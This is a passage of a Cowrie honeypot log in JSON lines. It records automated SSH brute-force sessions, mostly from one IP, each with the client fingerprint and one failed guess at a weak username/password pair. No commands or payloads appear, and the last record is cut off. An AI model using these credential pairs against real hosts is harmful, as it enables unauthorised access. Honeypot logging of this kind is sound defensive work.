{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:29.570255Z","src_ip":"45.156.87.147","session":"295a125e47bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:29.655080Z","src_ip":"45.156.87.147","session":"295a125e47bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"111111","message":"login attempt [bot/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:29.908602Z","src_ip":"45.156.87.147","session":"295a125e47bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:30.993034Z","src_ip":"45.156.87.147","session":"295a125e47bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49564,"dst_ip":"10.17.0.5","dst_port":22,"session":"751d01243af8","protocol":"ssh","message":"New connection: 45.156.87.147:49564 (10.17.0.5:22) [session: 751d01243af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:35.671340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:35.675880Z","src_ip":"45.156.87.147","session":"751d01243af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:35.755643Z","src_ip":"45.156.87.147","session":"751d01243af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:36.090704Z","src_ip":"45.156.87.147","session":"751d01243af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:37.173893Z","src_ip":"45.156.87.147","session":"751d01243af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.880027770996094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:38.552576Z","src_ip":"107.6.151.170","session":"0ae27472b5d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41036,"dst_ip":"10.17.0.5","dst_port":22,"session":"451709de43ad","protocol":"ssh","message":"New connection: 45.156.87.147:41036 (10.17.0.5:22) [session: 451709de43ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:41.632765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:41.638831Z","src_ip":"45.156.87.147","session":"451709de43ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:41.728100Z","src_ip":"45.156.87.147","session":"451709de43ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:41.979755Z","src_ip":"45.156.87.147","session":"451709de43ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50854,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c3cf4cf7a9","protocol":"ssh","message":"New connection: 62.133.62.83:50854 (10.17.0.5:22) [session: 46c3cf4cf7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:42.978980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:42.983121Z","src_ip":"62.133.62.83","session":"46c3cf4cf7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:43.065864Z","src_ip":"45.156.87.147","session":"451709de43ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:45.409537Z","src_ip":"62.133.62.83","session":"46c3cf4cf7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nopasaran","message":"login attempt [root/nopasaran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:45.853566Z","src_ip":"62.133.62.83","session":"46c3cf4cf7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:46.938536Z","src_ip":"62.133.62.83","session":"46c3cf4cf7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41042,"dst_ip":"10.17.0.5","dst_port":22,"session":"62488873ba2f","protocol":"ssh","message":"New connection: 45.156.87.147:41042 (10.17.0.5:22) [session: 62488873ba2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:47.648901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:47.653683Z","src_ip":"45.156.87.147","session":"62488873ba2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:47.742403Z","src_ip":"45.156.87.147","session":"62488873ba2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:48.009940Z","src_ip":"45.156.87.147","session":"62488873ba2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:49.095731Z","src_ip":"45.156.87.147","session":"62488873ba2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37332,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7557c9b0e9e","protocol":"ssh","message":"New connection: 45.156.87.147:37332 (10.17.0.5:22) [session: c7557c9b0e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:53.962016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:53.965223Z","src_ip":"45.156.87.147","session":"c7557c9b0e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:54.049488Z","src_ip":"45.156.87.147","session":"c7557c9b0e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:54.305411Z","src_ip":"45.156.87.147","session":"c7557c9b0e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:55.391468Z","src_ip":"45.156.87.147","session":"c7557c9b0e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54224,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84bb44f5c8c","protocol":"ssh","message":"New connection: 45.156.87.147:54224 (10.17.0.5:22) [session: c84bb44f5c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:59.884880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:59.892301Z","src_ip":"45.156.87.147","session":"c84bb44f5c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:45:59.973401Z","src_ip":"45.156.87.147","session":"c84bb44f5c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:00.317986Z","src_ip":"45.156.87.147","session":"c84bb44f5c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:01.403400Z","src_ip":"45.156.87.147","session":"c84bb44f5c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54234,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ef1f4c0628","protocol":"ssh","message":"New connection: 45.156.87.147:54234 (10.17.0.5:22) [session: 72ef1f4c0628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:06.084217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:06.089102Z","src_ip":"45.156.87.147","session":"72ef1f4c0628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:06.172915Z","src_ip":"45.156.87.147","session":"72ef1f4c0628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:06.542250Z","src_ip":"45.156.87.147","session":"72ef1f4c0628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:07.631743Z","src_ip":"45.156.87.147","session":"72ef1f4c0628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54240,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a794d2d5a12","protocol":"ssh","message":"New connection: 45.156.87.147:54240 (10.17.0.5:22) [session: 2a794d2d5a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:12.310802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:46:12.315367Z","src_ip":"45.156.87.147","session":"2a794d2d5a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-e